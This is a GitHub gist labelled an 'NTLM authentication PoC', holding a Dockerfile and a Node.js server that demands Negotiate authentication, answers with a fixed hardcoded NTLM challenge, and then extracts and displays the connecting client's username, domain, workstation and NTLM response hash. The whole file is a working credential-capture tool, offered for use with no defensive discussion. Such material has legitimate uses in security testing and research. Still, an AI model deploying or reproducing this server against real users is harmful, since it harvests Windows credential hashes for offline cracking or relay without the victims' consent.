Created
June 5, 2025 17:10
-
-
Save dzmitry-savitski/65f9c077bb1909834556937c61dde41b to your computer and use it in GitHub Desktop.
NTLM authentication PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FROM node:18-slim | |
WORKDIR /app | |
COPY server.js . | |
EXPOSE 8080 | |
CMD ["node", "server.js"] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const http = require('http'); | |
function parseNTLMv3Response(base64Msg) { | |
const buffer = Buffer.from(base64Msg, 'base64'); | |
const signature = buffer.toString('ascii', 0, 8); | |
const messageType = buffer.readUInt8(8); | |
if (signature !== 'NTLMSSP\0' || messageType !== 3) { | |
return null; | |
} | |
function readField(offset) { | |
const len = buffer.readUInt16LE(offset); | |
const pos = buffer.readUInt32LE(offset + 4); | |
return buffer.slice(pos, pos + len); | |
} | |
const domain = readField(28).toString('utf16le'); | |
const username = readField(36).toString('utf16le'); | |
const workstation = readField(44).toString('utf16le'); | |
const hash = readField(20).toString('hex'); | |
return { username, domain, workstation, ntlmHashHex: hash, raw: base64Msg }; | |
} | |
http.createServer((req, res) => { | |
const auth = req.headers['authorization']; | |
if (!auth) { | |
res.writeHead(401, { 'WWW-Authenticate': 'Negotiate', 'Connection': 'keep-alive' }); | |
res.end(); | |
return; | |
} | |
const payload = auth.split(' ')[1]; | |
const type = Buffer.from(payload, 'base64')[8]; | |
if (type === 1) { | |
// NTLM v2 challenge example | |
const base64Challenge = "TlRMTVNTUAACAAAACAAIADgAAAAFAomin9pUiWsMbk8AAAAAAAAAAJoAmgBAAAAACgB8TwAAAA9JAEUASAAwAAIACABJAEUASAAwAAEAHgBXAEkATgAtADkAQQBLADAANABMAFoAOABBAFYAVwAEABQASQBFAEgAMAAuAEwATwBDAEEATAADADQAVwBJAE4ALQA5AEEASwAwADQATABaADgAQQBWAFcALgBJAEUASAAwAC4ATABPAEMAQQBMAAUAFABJAEUASAAwAC4ATABPAEMAQQBMAAAAAAA="; | |
res.writeHead(401, { | |
'WWW-Authenticate': `Negotiate ${base64Challenge}`, | |
'Connection': 'keep-alive', | |
}); | |
res.end(); | |
return; | |
} | |
if (type === 3) { | |
const info = parseNTLMv3Response(payload); | |
res.writeHead(200, { 'Content-Type': 'text/plain' }); | |
res.end(`Info captured:\nUsername: ${info.username}\nDomain: ${info.domain}\nWorkstation: ${info.workstation}\nNTLM response: ${info.ntlmHashHex}\n`); | |
return; | |
} | |
res.writeHead(400); | |
res.end('Unsupported NTLM message type.'); | |
}).listen(8080); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment